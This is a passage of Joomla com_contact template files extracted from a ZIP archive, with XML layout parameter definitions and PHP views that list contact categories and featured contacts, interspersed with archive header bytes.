</field>
<field
name="show_country"
type="list"
label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_telephone"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_mobile"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_fax"
type="list"
label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_webpage"
type="list"
label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_image"
type="list"
label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="allow_vcard"
type="list"
label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_misc"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_articles"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="articles_display_num"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
default=""
useglobal="true"
validate="options"
>
<option
value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
<option value="5">J5</option>
<option value="10">J10</option>
<option value="15">J15</option>
<option value="20">J20</option>
<option value="25">J25</option>
<option value="30">J30</option>
<option value="50">J50</option>
<option value="75">J75</option>
<option value="100">J100</option>
<option value="150">J150</option>
<option value="200">J200</option>
<option value="250">J250</option>
<option value="300">J300</option>
<option value="0">JALL</option>
</field>
<field
name="show_links"
type="list"
label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_user_custom_fields"
type="fieldgroups"
label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
multiple="true"
context="com_users.user"
addfieldprefix="Joomla\Component\Fields\Administrator\Field"
layout="joomla.form.field.list-fancy-select"
>
<option value="-1">JALL</option>
</field>
<field
name="linka_name"
type="text"
label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
useglobal="true"
/>
<field
name="linkb_name"
type="text"
label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
useglobal="true"
/>
<field
name="linkc_name"
type="text"
label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
useglobal="true"
/>
<field
name="linkd_name"
type="text"
label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
useglobal="true"
/>
<field
name="linke_name"
type="text"
label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
useglobal="true"
/>
</fieldset>
<!-- Form options. -->
<fieldset
name="Contact_Form"
label="COM_CONTACT_MAIL_FIELDSET_LABEL"
>
<field
name="show_email_form"
type="list"
label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email_copy"
type="list"
label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="validate_session"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="custom_reply"
type="list"
label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="redirect"
type="text"
label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
useglobal="true"
/>
</fieldset>
<fieldset name="integration">
<field
name="show_feed_link"
type="list"
label="JGLOBAL_SHOW_FEED_LINK_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
</fields>
</metadata>
PK`��[6Fe}category/default_children.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2009 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;
if ($this->maxLevel != 0 &&
count($this->children[$this->category->id]) > 0) :
?>
<ul class="com-contact-category__children list-striped
list-condensed">
<?php foreach ($this->children[$this->category->id] as $id
=> $child) : ?>
<?php if
($this->params->get('show_empty_categories') ||
$child->numitems || count($child->getChildren())) : ?>
<li>
<h4 class="item-title">
<a href="<?php echo
Route::_(RouteHelper::getCategoryRoute($child->id,
$child->language)); ?>">
<?php echo $this->escape($child->title); ?>
</a>
<?php if
($this->params->get('show_cat_items') == 1) : ?>
<span class="badge bg-info float-end"
title="<?php echo Text::_('COM_CONTACT_CAT_NUM');
?>"><?php echo $child->numitems; ?></span>
<?php endif; ?>
</h4>
<?php if
($this->params->get('show_subcat_desc') == 1) : ?>
<?php if ($child->description) : ?>
<div class="category-desc">
<?php echo
HTMLHelper::_('content.prepare', $child->description,
'', 'com_contact.category'); ?>
</div>
<?php endif; ?>
<?php endif; ?>
<?php if (count($child->getChildren()) > 0) :
$this->children[$child->id] =
$child->getChildren();
$this->category = $child;
$this->maxLevel--;
echo $this->loadTemplate('children');
$this->category = $child->getParent();
$this->maxLevel++;
endif; ?>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif; ?>
PK`��[/N�wR-R-category/default_items.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2006 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Contact\Administrator\Helper\ContactHelper;
use Joomla\Component\Contact\Site\Helper\RouteHelper;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_contact.contacts-list')
->useScript('core');
$canDo = ContactHelper::getActions('com_contact',
'category', $this->category->id);
$canEdit = $canDo->get('core.edit');
$userId = $this->getCurrentUser()->id;
$showEditColumn = false;
if ($canEdit) {
$showEditColumn = true;
} elseif ($canDo->get('core.edit.own') &&
!empty($this->items)) {
foreach ($this->items as $item) {
if ($item->created_by == $userId) {
$showEditColumn = true;
break;
}
}
}
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirn =
$this->escape($this->state->get('list.direction'));
?>
<div class="com-contact-category__items">
<form action="<?php echo
htmlspecialchars(Uri::getInstance()->toString()); ?>"
method="post" name="adminForm"
id="adminForm">
<?php if ($this->params->get('filter_field')) :
?>
<div class="com-contact-category__filter
btn-group">
<label class="filter-search-lbl
visually-hidden" for="filter-search">
<?php echo
Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>
</label>
<input
type="text"
name="filter-search"
id="filter-search"
value="<?php echo
$this->escape($this->state->get('list.filter'));
?>"
class="inputbox"
onchange="document.adminForm.submit();"
placeholder="<?php echo
Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>"
>
<button type="submit"
name="filter_submit" class="btn
btn-primary"><?php echo
Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
<button type="reset"
name="filter-clear-button" class="btn
btn-secondary"><?php echo
Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
</div>
<?php endif; ?>
<?php if
($this->params->get('show_pagination_limit')) : ?>
<div class="com-contact-category__pagination btn-group
float-end">
<label for="limit"
class="visually-hidden">
<?php echo Text::_('JGLOBAL_DISPLAY_NUM');
?>
</label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<?php endif; ?>
<?php if (empty($this->items)) : ?>
<?php if
($this->params->get('show_no_contacts', 1)) : ?>
<div class="alert alert-info">
<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('INFO'); ?></span>
<?php echo
Text::_('COM_CONTACT_NO_CONTACTS'); ?>
</div>
<?php endif; ?>
<?php else : ?>
<table class="com-content-category__table category
table table-striped table-bordered table-hover"
id="contactList">
<caption class="visually-hidden">
<?php echo
Text::_('COM_CONTACT_TABLE_CAPTION'); ?>,
</caption>
<thead<?php echo
$this->params->get('show_headings', '1') ?
'' : ' class="visually-hidden"'; ?>>
<tr>
<th scope="col"
id="categorylist_header_title">
<?php echo
HTMLHelper::_('grid.sort',
'COM_CONTACT_FIELD_NAME_LABEL', 'a.name', $listDirn,
$listOrder, null, 'asc', '', 'adminForm');
?>
</th>
<th scope="col">
<?php echo
Text::_('COM_CONTACT_CONTACT_DETAILS'); ?>
</th>
<?php if ($showEditColumn) : ?>
<th scope="col">
<?php echo
Text::_('COM_CONTACT_EDIT_CONTACT'); ?>
</th>
<?php endif; ?>
</tr>
</thead>
<tbody>
<?php foreach ($this->items as $i => $item) :
?>
<?php if ($this->items[$i]->published ==
0) : ?>
<tr class="system-unpublished
cat-list-row<?php echo $i % 2; ?>">
<?php else : ?>
<tr class="cat-list-row<?php echo $i
% 2; ?>" >
<?php endif; ?>
<th scope="row"
class="list-title">
<a href="<?php echo
Route::_(RouteHelper::getContactRoute($item->slug, $item->catid,
$item->language)); ?>">
<?php if
($this->params->get('show_image_heading')) : ?>
<?php if ($item->image) : ?>
<?php echo LayoutHelper::render(
'joomla.html.image',
[
'src' =>
$item->image,
'alt' =>
'',
'class' =>
'contact-thumbnail img-thumbnail',
]
); ?>
<?php endif; ?>
<?php endif; ?>
<?php echo
$this->escape($item->name); ?>
</a>
<?php if ($item->published == 0) : ?>
<div>
<span class="list-published
badge bg-warning text-light">
<?php echo
Text::_('JUNPUBLISHED'); ?>
</span>
</div>
<?php endif; ?>
<?php if ($item->publish_up &&
strtotime($item->publish_up) > strtotime(Factory::getDate())) : ?>
<div>
<span class="list-published
badge bg-warning text-light">
<?php echo
Text::_('JNOTPUBLISHEDYET'); ?>
</span>
</div>
<?php endif; ?>
<?php if (!is_null($item->publish_down)
&& strtotime($item->publish_down) <
strtotime(Factory::getDate())) : ?>
<div>
<span class="list-published
badge bg-warning text-light">
<?php echo
Text::_('JEXPIRED'); ?>
</span>
</div>
<?php endif; ?>
<?php if ($item->published == -2) : ?>
<div>
<span class="badge bg-warning
text-light">
<?php echo
Text::_('JTRASHED'); ?>
</span>
</div>
<?php endif; ?>
<?php echo
$item->event->afterDisplayTitle; ?>
</th>
<td>
<?php echo
$item->event->beforeDisplayContent; ?>
<?php if
($this->params->get('show_telephone_headings') &&
!empty($item->telephone)) : ?>
<?php echo
Text::sprintf('COM_CONTACT_TELEPHONE_NUMBER',
$item->telephone); ?><br>
<?php endif; ?>
<?php if
($this->params->get('show_mobile_headings') &&
!empty($item->mobile)) : ?>
<?php echo
Text::sprintf('COM_CONTACT_MOBILE_NUMBER', $item->mobile);
?><br>
<?php endif; ?>
<?php if
($this->params->get('show_fax_headings') &&
!empty($item->fax)) : ?>
<?php echo
Text::sprintf('COM_CONTACT_FAX_NUMBER', $item->fax);
?><br>
<?php endif; ?>
<?php if
($this->params->get('show_position_headings') &&
!empty($item->con_position)) : ?>
<?php echo $item->con_position;
?><br>
<?php endif; ?>
<?php if
($this->params->get('show_email_headings') &&
!empty($item->email_to)) : ?>
<?php echo $item->email_to;
?><br>
<?php endif; ?>
<?php $location = []; ?>
<?php if
($this->params->get('show_suburb_headings') &&
!empty($item->suburb)) : ?>
<?php $location[] = $item->suburb;
?>
<?php endif; ?>
<?php if
($this->params->get('show_state_headings') &&
!empty($item->state)) : ?>
<?php $location[] = $item->state;
?>
<?php endif; ?>
<?php if
($this->params->get('show_country_headings') &&
!empty($item->country)) : ?>
<?php $location[] = $item->country;
?>
<?php endif; ?>
<?php echo implode(', ',
$location); ?>
<?php echo
$item->event->afterDisplayContent; ?>
</td>
<?php if ($canEdit ||
($canDo->get('core.edit.own') && $item->created_by
=== $userId)) : ?>
<td>
<?php echo
HTMLHelper::_('contacticon.edit', $item, $this->params); ?>
</td>
<?php endif; ?>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<?php if ($canDo->get('core.create')) : ?>
<?php echo HTMLHelper::_('contacticon.create',
$this->category, $this->category->params); ?>
<?php endif; ?>
<?php if ($this->params->get('show_pagination',
2)) : ?>
<div class="com-contact-category__pagination
w-100">
<?php if
($this->params->def('show_pagination_results', 1)) : ?>
<p class="com-contact-category__counter counter
float-end pt-3 pe-2">
<?php echo
$this->pagination->getPagesCounter(); ?>
</p>
<?php endif; ?>
<?php echo $this->pagination->getPagesLinks();
?>
</div>
<?php endif; ?>
<div>
<input type="hidden" name="filter_order"
value="<?php echo
$this->escape($this->state->get('list.ordering'));
?>">
<input type="hidden"
name="filter_order_Dir" value="<?php echo
$this->escape($this->state->get('list.direction'));
?>">
</div>
</form>
</div>
PK`��[0M���category/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2006 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
?>
<div class="com-contact-category">
<?php
$this->subtemplatename = 'items';
echo
LayoutHelper::render('joomla.content.category_default', $this);
?>
</div>
PK`��[)b�0�0featured/default.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<metadata>
<layout title="COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE"
option="COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION">
<help
key = "Menu_Item:_Featured_Contacts"
/>
<message>
<![CDATA[COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
<fieldset
name="advanced"
label="JGLOBAL_LIST_LAYOUT_OPTIONS"
description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
>
<field
name="filter_field"
type="list"
label="JGLOBAL_FILTER_FIELD_LABEL"
default=""
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_pagination_limit"
type="list"
label="JGLOBAL_DISPLAY_SELECT_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_headings"
type="list"
label="JGLOBAL_SHOW_HEADINGS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_position_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email_headings"
type="list"
label="JGLOBAL_EMAIL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_telephone_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_mobile_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_fax_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_suburb_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_state_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_country_headings"
type="list"
label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_pagination"
type="list"
label="JGLOBAL_PAGINATION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
<option value="2">JGLOBAL_AUTO</option>
</field>
<field
name="show_pagination_results"
type="list"
label="JGLOBAL_PAGINATION_RESULTS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
<fieldset
name="contact"
label="COM_CONTACT_FIELDSET_CONTACT_LABEL"
>
<field
name="show_tags"
type="list"
label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_info"
type="list"
label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_name"
type="list"
label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_position"
type="list"
label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email"
type="list"
label="JGLOBAL_EMAIL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_street_address"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_suburb"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_state"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_postcode"
type="list"
label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_country"
type="list"
label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_telephone"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_mobile"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_fax"
type="list"
label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_webpage"
type="list"
label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_image"
type="list"
label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="allow_vcard"
type="list"
label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_misc"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_articles"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="articles_display_num"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
default=""
useglobal="true"
validate="options"
>
<option
value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
<option value="5">J5</option>
<option value="10">J10</option>
<option value="15">J15</option>
<option value="20">J20</option>
<option value="25">J25</option>
<option value="30">J30</option>
<option value="50">J50</option>
<option value="75">J75</option>
<option value="100">J100</option>
<option value="150">J150</option>
<option value="200">J200</option>
<option value="250">J250</option>
<option value="300">J300</option>
<option value="0">JALL</option>
</field>
<field
name="show_links"
type="list"
label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="linka_name"
type="text"
label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
useglobal="true"
/>
<field
name="linkb_name"
type="text"
label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
useglobal="true"
/>
<field
name="linkc_name"
type="text"
label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
useglobal="true"
/>
<field
name="linkd_name"
type="text"
label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
useglobal="true"
/>
<field
name="linke_name"
type="text"
label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
useglobal="true"
/>
</fieldset>
<fieldset
name="Contact_Form"
label="COM_CONTACT_FIELDSET_CONTACTFORM_LABEL"
>
<field
name="show_email_form"
type="list"
label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email_copy"
type="list"
label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="validate_session"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="custom_reply"
type="list"
label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="redirect"
type="text"
label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
useglobal="true"
/>
</fieldset>
</fields>
</metadata>
PK`��[p���$�$featured/default_items.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2010 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Contact\Site\Helper\RouteHelper;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_contact.contacts-list')
->useScript('core');
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirn =
$this->escape($this->state->get('list.direction'));
?>
<div class="com-contact-featured__items">
<form action="<?php echo
htmlspecialchars(Uri::getInstance()->toString()); ?>"
method="post" name="adminForm"
id="adminForm">
<?php if ($this->params->get('filter_field')) :
?>
<div class="com-contact-featured__filter
btn-group">
<label class="filter-search-lbl
visually-hidden" for="filter-search">
<?php echo
Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>
</label>
<input
type="text"
name="filter-search"
id="filter-search"
value="<?php echo
$this->escape($this->state->get('list.filter'));
?>"
class="inputbox"
onchange="document.adminForm.submit();"
placeholder="<?php echo
Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>"
>
<button type="submit"
name="filter_submit" class="btn
btn-primary"><?php echo
Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
<button type="reset"
name="filter-clear-button" class="btn
btn-secondary"><?php echo
Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
</div>
<?php endif; ?>
<?php if
($this->params->get('show_pagination_limit')) : ?>
<div class="com-contact-featured__pagination btn-group
float-end">
<label for="limit"
class="visually-hidden">
<?php echo Text::_('JGLOBAL_DISPLAY_NUM');
?>
</label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<?php endif; ?>
<?php if (empty($this->items)) : ?>
<div class="alert alert-info">
<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('INFO'); ?></span>
<?php echo
Text::_('COM_CONTACT_NO_CONTACTS'); ?>
</div>
<?php else : ?>
<table class="com-contact-featured__table table
table-striped table-bordered table-hover">
<caption class="visually-hidden">
<?php echo
Text::_('COM_CONTACT_TABLE_CAPTION'); ?>,
</caption>
<thead<?php echo
$this->params->get('show_headings', '1') ?
'' : ' class="visually-hidden"'; ?>>
<tr>
<th scope="col"
class="item-title">
<?php echo
HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE',
'a.name', $listDirn, $listOrder); ?>
</th>
<?php if
($this->params->get('show_position_headings')) : ?>
<th scope="col"
class="item-position">
<?php echo
HTMLHelper::_('grid.sort', 'COM_CONTACT_POSITION',
'a.con_position', $listDirn, $listOrder); ?>
</th>
<?php endif; ?>
<?php if
($this->params->get('show_email_headings')) : ?>
<th scope="col"
class="item-email">
<?php echo
Text::_('JGLOBAL_EMAIL'); ?>
</th>
<?php endif; ?>
<?php if
($this->params->get('show_telephone_headings')) : ?>
<th scope="col"
class="item-phone">
<?php echo
Text::_('COM_CONTACT_TELEPHONE'); ?>
</th>
<?php endif; ?>
<?php if
($this->params->get('show_mobile_headings')) : ?>
<th scope="col"
class="item-phone">
<?php echo
Text::_('COM_CONTACT_MOBILE'); ?>
</th>
<?php endif; ?>
<?php if
($this->params->get('show_fax_headings')) : ?>
<th scope="col"
class="item-phone">
<?php echo
Text::_('COM_CONTACT_FAX'); ?>
</th>
<?php endif; ?>
<?php if
($this->params->get('show_suburb_headings')) : ?>
<th scope="col"
class="item-suburb">
<?php echo
HTMLHelper::_('grid.sort', 'COM_CONTACT_SUBURB',
'a.suburb', $listDirn, $listOrder); ?>
</th>
<?php endif; ?>
<?php if
($this->params->get('show_state_headings')) : ?>
<th scope="col"
class="item-state">
<?php echo
HTMLHelper::_('grid.sort', 'COM_CONTACT_STATE',
'a.state', $listDirn, $listOrder); ?>
</th>
<?php endif; ?>
<?php if
($this->params->get('show_country_headings')) : ?>
<th scope="col"
class="item-state">
<?php echo
HTMLHelper::_('grid.sort', 'COM_CONTACT_COUNTRY',
'a.country', $listDirn, $listOrder); ?>
</th>
<?php endif; ?>
</tr>
</thead>
<tbody>
<?php foreach ($this->items as $i => $item) :
?>
<?php if ($this->items[$i]->published == 0) :
?>
<tr class="system-unpublished
featured-list-row<?php echo $i % 2; ?>">
